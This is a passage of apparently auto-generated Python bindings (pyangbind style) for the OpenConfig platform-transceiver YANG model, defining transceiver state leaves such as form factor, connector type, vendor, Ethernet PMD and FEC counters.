'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'OTHER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:OTHER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}},), is_leaf=True, yang_name="form-factor", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False) self.__connector_type = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'SC_CONNECTOR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:SC_CONNECTOR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'LC_CONNECTOR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:LC_CONNECTOR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'MPO_CONNECTOR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:MPO_CONNECTOR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}},), is_leaf=True, yang_name="connector-type", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False) self.__vendor = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_dict={'length': ['1..16']}), is_leaf=True, yang_name="vendor", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='string', is_config=False) self.__vendor_part = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_dict={'length': ['1..16']}), is_leaf=True, yang_name="vendor-part", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='string', is_config=False) self.__vendor_rev = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_dict={'length': ['1..2']}), is_leaf=True, yang_name="vendor-rev", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='string', is_config=False) self.__ethernet_pmd = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'ETH_10GBASE_LRM': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_LRM': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_ZR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_ZR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_ER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_ER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_4X10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_4X10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_4X10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_4X10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100G_AOC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100G_AOC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100G_ACC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100G_ACC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_SR10': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_SR10': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_CWDM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_CWDM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_CLR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_CLR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}},), is_leaf=True, yang_name="ethernet-pmd", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False) self.__sonet_sdh_compliance_code = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'VSR2000_3R2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:VSR2000_3R2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'VSR2000_3R3': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:VSR2000_3R3': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'VSR2000_3R5': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:VSR2000_3R5': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'SONET_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:SONET_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}},), is_leaf=True, yang_name="sonet-sdh-compliance-code", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False) self.__otn_compliance_code = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'P1L1_2D1': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:P1L1_2D1': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'P1S1_2D2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:P1S1_2D2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'P1L1_2D2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:P1L1_2D2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'OTN_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:OTN_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}},), is_leaf=True, yang_name="otn-compliance-code", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False) self.__serial_no = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_dict={'length': ['1..16']}), is_leaf=True, yang_name="serial-no", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='string', is_config=False) self.__date_code = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_dict={'pattern': '^[0-9]{4}\\-[0-9]{2}\\-[0-9]{2}T[0-9]{2}:[0-9]{2}:[0-9]{2}(\\.[0-9]+)?Z[+-][0-9]{2}:[0-9]{2}$'}), is_leaf=True, yang_name="date-code", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='oc-yang:date-and-time', is_config=False) self.__fault_condition = YANGDynClass(base=YANGBool, is_leaf=True, yang_name="fault-condition", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='boolean', is_config=False) self.__fec_status = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'FEC_STATUS_LOCKED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'oc-platform-types:FEC_STATUS_LOCKED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'FEC_STATUS_UNLOCKED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'oc-platform-types:FEC_STATUS_UNLOCKED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}},), is_leaf=True, yang_name="fec-status", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False) self.__fec_uncorrectable_blocks = YANGDynClass(base=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..18446744073709551615']}, int_size=64), is_leaf=True, yang_name="fec-uncorrectable-blocks", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='yang:counter64', is_config=False) self.__fec_uncorrectable_words = YANGDynClass(base=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..18446744073709551615']}, int_size=64), is_leaf=True, yang_name="fec-uncorrectable-words", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='yang:counter64', is_config=False) self.__fec_corrected_bytes = YANGDynClass(base=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..18446744073709551615']}, int_size=64), is_leaf=True, yang_name="fec-corrected-bytes", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='yang:counter64', is_config=False) self.__fec_corrected_bits = YANGDynClass(base=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..18446744073709551615']}, int_size=64), is_leaf=True, yang_name="fec-corrected-bits", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='yang:counter64', is_config=False) self.__pre_fec_ber = YANGDynClass(base=pre_fec_ber.pre_fec_ber, is_container='container', yang_name="pre-fec-ber", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='container', is_config=False) self.__post_fec_ber = YANGDynClass(base=post_fec_ber.post_fec_ber, is_container='container', yang_name="post-fec-ber", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='container', is_config=False) self.__output_power = YANGDynClass(base=output_power.output_power, is_container='container', yang_name="output-power", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='container', is_config=False) self.__input_power = YANGDynClass(base=input_power.input_power, is_container='container', yang_name="input-power", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='container', is_config=False) self.__laser_bias_current = YANGDynClass(base=laser_bias_current.laser_bias_current, is_container='container', yang_name="laser-bias-current", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='container', is_config=False) load = kwargs.pop("load", None) if args: if len(args) > 1: raise TypeError("cannot create a YANG container with >1 argument") all_attr = True for e in self._pyangbind_elements: if not hasattr(args[0], e): all_attr = False break if not all_attr: raise ValueError("Supplied object did not have the correct attributes") for e in self._pyangbind_elements: nobj = getattr(args[0], e) if nobj._changed() is False: continue setmethod = getattr(self, "_set_%s" % e) if load is None: setmethod(getattr(args[0], e)) else: setmethod(getattr(args[0], e), load=load) def _path(self): if hasattr(self, "_parent"): return self._parent._path()+[self._yang_name] else: return ['components', 'component', 'transceiver', 'state'] def _get_enabled(self): """ Getter method for enabled, mapped from YANG variable /components/component/transceiver/state/enabled (boolean) YANG Description: Turns power on / off to the transceiver -- provides a means to power on/off the transceiver (in the case of SFP, SFP+, QSFP,...) or enable high-power mode (in the case of CFP, CFP2, CFP4) and is optionally supported (device can choose to always enable). True = power on / high power, False = powered off """ return self.__enabled def _set_enabled(self, v, load=False): """ Setter method for enabled, mapped from YANG variable /components/component/transceiver/state/enabled (boolean) If this variable is read-only (config: false) in the source YANG file, then _set_enabled is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_enabled() directly. YANG Description: Turns power on / off to the transceiver -- provides a means to power on/off the transceiver (in the case of SFP, SFP+, QSFP,...) or enable high-power mode (in the case of CFP, CFP2, CFP4) and is optionally supported (device can choose to always enable). True = power on / high power, False = powered off """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=YANGBool, is_leaf=True, yang_name="enabled", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='boolean', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """enabled must be of a type compatible with boolean""", 'defined-type': "boolean", 'generated-type': """YANGDynClass(base=YANGBool, is_leaf=True, yang_name="enabled", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='boolean', is_config=False)""", }) self.__enabled = t if hasattr(self, '_set'): self._set() def _unset_enabled(self): self.__enabled = YANGDynClass(base=YANGBool, is_leaf=True, yang_name="enabled", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='boolean', is_config=False) def _get_form_factor_preconf(self): """ Getter method for form_factor_preconf, mapped from YANG variable /components/component/transceiver/state/form_factor_preconf (identityref) YANG Description: Indicates the type of optical transceiver used on this port. If the client port is built into the device and not pluggable, then non-pluggable is the corresponding state. If a device port supports multiple form factors (e.g. QSFP28 and QSFP+, then the value of the transceiver installed shall be reported. If no transceiver is present, then the value of the highest rate form factor shall be reported (QSFP28, for example). The form factor is included in configuration data to allow pre-configuring a device with the expected type of transceiver ahead of deployment. The corresponding state leaf should reflect the actual transceiver type plugged into the system. """ return self.__form_factor_preconf def _set_form_factor_preconf(self, v, load=False): """ Setter method for form_factor_preconf, mapped from YANG variable /components/component/transceiver/state/form_factor_preconf (identityref) If this variable is read-only (config: false) in the source YANG file, then _set_form_factor_preconf is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_form_factor_preconf() directly. YANG Description: Indicates the type of optical transceiver used on this port. If the client port is built into the device and not pluggable, then non-pluggable is the corresponding state. If a device port supports multiple form factors (e.g. QSFP28 and QSFP+, then the value of the transceiver installed shall be reported. If no transceiver is present, then the value of the highest rate form factor shall be reported (QSFP28, for example). The form factor is included in configuration data to allow pre-configuring a device with the expected type of transceiver ahead of deployment. The corresponding state leaf should reflect the actual transceiver type plugged into the system. """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'CFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CFP2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CFP2_ACO': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP2_ACO': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CFP4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'QSFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:QSFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'QSFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:QSFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'QSFP28': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:QSFP28': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CPAK': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CPAK': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'SFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:SFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'SFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:SFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'XFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:XFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'X2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:X2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'NON_PLUGGABLE': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:NON_PLUGGABLE': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'OTHER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:OTHER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}},), is_leaf=True, yang_name="form-factor-preconf", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """form_factor_preconf must be of a type compatible with identityref""", 'defined-type': "openconfig-platform-transceiver:identityref", 'generated-type': """YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'CFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CFP2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CFP2_ACO': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP2_ACO': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CFP4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'QSFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:QSFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'QSFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:QSFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'QSFP28': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:QSFP28': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CPAK': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CPAK': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'SFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:SFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'SFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:SFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'XFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:XFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'X2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:X2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'NON_PLUGGABLE': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:NON_PLUGGABLE': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'OTHER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:OTHER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}},), is_leaf=True, yang_name="form-factor-preconf", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False)""", }) self.__form_factor_preconf = t if hasattr(self, '_set'): self._set() def _unset_form_factor_preconf(self): self.__form_factor_preconf = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'CFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CFP2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CFP2_ACO': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP2_ACO': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CFP4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'QSFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:QSFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'QSFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:QSFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'QSFP28': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:QSFP28': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CPAK': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CPAK': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'SFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:SFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'SFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:SFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'XFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:XFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'X2': {'@module': 